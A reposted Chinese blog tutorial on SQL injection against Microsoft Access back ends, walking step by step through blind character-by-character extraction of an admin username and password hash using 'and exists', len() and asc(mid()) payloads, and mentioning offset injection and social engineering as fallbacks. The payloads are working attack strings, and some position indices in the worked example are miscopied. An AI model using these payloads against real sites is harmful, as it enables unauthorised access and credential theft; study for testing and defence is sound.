Access数据库注入知识点
发布日期:2021-05-10 17:16:17 浏览次数:14 分类:技术文章

本文共 2598 字,大约阅读时间需要 8 分钟。

简介

Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是Microsoft Office 的系统程序之一。Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。

Access数据结构

Access数据库              表名                     列名                            数据注意:Access数据库只有一个数据库

Access注入

注入方法

联合查询法(兼容性差)逐字猜解法(兼容性好)

逐字猜解法

逐字猜解法基本流程

第一步:判断注入第二步:查询表名第三步:查询列名第四步:先确定长度,再猜解数据

详细步骤

第一步:判断注入

可以使用单引号来快速判断注入点

?id=1’

第二步:查询表名

语句and exists (select * from 表名)

语句and exists (select * from admin)

返回正常则说明存在admin数据表。

第三步:查询列名

语句and exists (select 列名 from 表名)

语句and exists (select admin from admin)

返回正常,则说明存在admin这个列名。

语句and exists (select password from admin)

返回正常,则说明存在password这个列名。

第四步:先确定长度,再猜解数据

确定admin列第一行数据的长度。

语句and (select top 1 len(admin) from admin) =5

//top 1子句含义为查询结果只显示首条记录。

//len()取长度

返回正常,则说明admin第一行的数据长度为5。

确定password列第一行数据的长度。

语句and (select top 1 len(password) from

admin) =16

返回正常,则说明password第一列的数据长度为16。

然后逐字猜解数据,逐字猜解需要通过用到ASCII表,具体如下图所示:

在这里插入图片描述
猜解admin第一列数据内容:

语句and (select top 1 asc(mid(admin,1,1)) from admin) =97 返回正常,第一位为a语句and (select top 1 asc(mid(admin,2,1)) from admin) =100 返回正常,第二位为d语句and (select top 1 asc(mid(admin,3,1)) from admin) =109 返回正常,第三位为m语句and (select top 1 asc(mid(admin,3,1)) from admin) =105 返回正常,第四位为i语句and (select top 1 asc(mid(admin,3,1)) from admin) =110 返回正常,第五位为n

最终得到数据为admin。

猜解password第一列数据内容:

语句and (select top 1 asc(mid(password,1,1)) from admin) =97 返回正常,第一位为a。语句and (select top 1 asc(mid(password,2,1)) from admin) =52 返回正常,第二位为4。语句and (select top 1 asc(mid(password,3,1)) from admin) =56 返回正常,第三位为8。语句and (select top 1 asc(mid(password,4,1)) from admin) =101 返回正常,第四位为e。语句and (select top 1 asc(mid(password,5,1)) from admin) =49 返回正常,第五位为1。语句and (select top 1 asc(mid(password,6,1)) from admin) =57 返回正常,第六位为9。语句and (select top 1 asc(mid(password,7,1)) from admin) =48 返回正常,第七位为0。语句and (select top 1 asc(mid(password,8,1)) from admin) =102 返回正常,第八位为f。语句and (select top 1 asc(mid(password,9,1)) from admin) =97 返回正常,第九位为a。语句and (select top 1 asc(mid(password,10,1)) from admin) =102 返回正常,第十位为f。语句and (select top 1 asc(mid(password,11,1)) from admin) =99 返回正常,第十一位为c。语句and (select top 1 asc(mid(password,12,1)) from admin) =50 返回正常,第十二位为2。语句and (select top 1 asc(mid(password,13,1)) from admin) =53 返回正常,第十三位为5。语句and (select top 1 asc(mid(password,14,1)) from admin) =55 返回正常,第十四位为7。语句and (select top 1 asc(mid(password,15,1)) from admin) =100 返回正常,第十五位为d。语句and (select top 1 asc(mid(password,16,1)) from admin) =51 返回正常,第十六位为3。

最终得到数据a48e190fafc257d3。

总结

联合查询法很快但是兼容性差,逐字猜解法很慢且繁琐但是兼容性好。由于Access数据库只能靠暴力猜解,因此经常会网站猜解不到列名,这样的话可以使用偏移注入,猜解不到表名的话可以使用社工。

转载地址:https://blog.csdn.net/nextlubricate/article/details/116570421 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!

上一篇:SQL注入-Access数据库
下一篇:SQL注入常见命令

发表评论

最新留言

很好
[***.229.124.182]2024年04月12日 06时25分41秒